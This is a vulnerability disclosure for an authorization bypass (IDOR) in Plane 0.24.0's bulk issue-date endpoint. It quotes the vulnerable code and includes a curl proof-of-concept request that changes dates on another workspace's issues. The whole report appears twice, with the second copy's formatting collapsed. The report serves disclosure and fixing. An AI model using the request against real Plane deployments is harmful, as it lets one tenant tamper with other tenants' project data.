IDOR: Cross-Project Issue Date Modification via Bulk Update Endpoint
Validation: Code trace
CWE: CWE-639 (Authorization Bypass Through User-Controlled Key)
CVSS 3.1: 6.5 (Medium) - AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Auth Required: Authenticated user with ADMIN or MEMBER role in ANY project of the workspace
Environment: Plane 0.24.0
Summary
The IssueBulkUpdateDateEndpoint allows a project member (ADMIN or MEMBER) to modify the start_date and target_date of ANY issue across the entire Plane instance, regardless of workspace or project membership. The endpoint fetches issues by ID without filtering by workspace or project, enabling cross-boundary data modification.
Vulnerable Code
File: apps/api/plane/app/views/issue/base.py (lines 1079-1156)
URL: POST /api/workspaces/<slug>/projects/<project_id>/issue-dates/
class IssueBulkUpdateDateEndpoint(BaseAPIView):
@allow_permission([ROLE.ADMIN, ROLE.MEMBER])
def post(self, request, slug, project_id):
updates = request.data.get("updates", [])
issue_ids = [update["id"] for update in updates]
epoch = int(timezone.now().timestamp())
# BUG: No workspace or project filter - fetches ANY issue by ID
issues = list(Issue.objects.filter(id__in=issue_ids))
issues_dict = {str(issue.id): issue for issue in issues}
issues_to_update = []
for update in updates:
issue_id = update["id"]
issue = issues_dict.get(issue_id)
# ... updates start_date and target_date without boundary checks
# BUG: bulk_update applies to issues from ANY workspace/project
Issue.objects.bulk_update(issues_to_update, ["start_date", "target_date"])
Data Flow
- Attacker authenticates as MEMBER of workspace
ws-attacker, project proj-attacker
- Attacker obtains or guesses UUID of an issue in workspace
ws-victim, project proj-victim
- Attacker sends:
POST /api/workspaces/ws-attacker/projects/proj-attacker/issue-dates/
{
"updates": [
{"id": "<victim-issue-uuid>", "start_date": "2099-01-01", "target_date": "2099-12-31"}
]
}
- The
@allow_permission decorator validates that the attacker is ADMIN/MEMBER of proj-attacker - passes
Issue.objects.filter(id__in=issue_ids) fetches the victim's issue without any workspace/project filter
- The victim's issue dates are modified
Impact
- Any authenticated project member can modify start/target dates of issues in ANY workspace/project across the entire Plane instance
- This breaks workspace isolation - a critical security boundary in multi-tenant deployments
- Dates are important for project planning; manipulating them can disrupt timelines and deadlines
- The attacker only needs to know or guess the UUID of the target issue
PoC
# As user with MEMBER role in workspace "attacker-ws", project "attacker-proj"
curl -X POST "https://plane.example.com/api/workspaces/attacker-ws/projects/<attacker-proj-id>/issue-dates/" \
-H "Cookie: session=<attacker-session>" \
-H "Content-Type: application/json" \
-d '{
"updates": [
{"id": "<victim-issue-uuid>", "start_date": "2099-01-01", "target_date": "2099-12-31"}
]
}'
Root Cause
The query at line 1107 uses Issue.objects.filter(id__in=issue_ids) without constraining by workspace__slug=slug and project_id=project_id, unlike every other issue endpoint in the codebase (e.g., IssueViewSet.get_queryset() which properly filters by both).
IDOR: Cross-Project Issue Date Modification via Bulk Update Endpoint
Validation: Code trace
CWE: CWE-639 (Authorization Bypass Through User-Controlled Key)
CVSS 3.1: 6.5 (Medium) - AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Auth Required: Authenticated user with ADMIN or MEMBER role in ANY project of the workspace
Environment: Plane 0.24.0
Summary
The
IssueBulkUpdateDateEndpointallows a project member (ADMIN or MEMBER) to modify thestart_dateandtarget_dateof ANY issue across the entire Plane instance, regardless of workspace or project membership. The endpoint fetches issues by ID without filtering by workspace or project, enabling cross-boundary data modification.Vulnerable Code
File:
apps/api/plane/app/views/issue/base.py(lines 1079-1156)URL:
POST /api/workspaces/<slug>/projects/<project_id>/issue-dates/Data Flow
ws-attacker, projectproj-attackerws-victim, projectproj-victimPOST /api/workspaces/ws-attacker/projects/proj-attacker/issue-dates/{ "updates": [ {"id": "<victim-issue-uuid>", "start_date": "2099-01-01", "target_date": "2099-12-31"} ] }@allow_permissiondecorator validates that the attacker is ADMIN/MEMBER ofproj-attacker- passesIssue.objects.filter(id__in=issue_ids)fetches the victim's issue without any workspace/project filterImpact
PoC
Root Cause
The query at line 1107 uses
Issue.objects.filter(id__in=issue_ids)without constraining byworkspace__slug=slugandproject_id=project_id, unlike every other issue endpoint in the codebase (e.g.,IssueViewSet.get_queryset()which properly filters by both).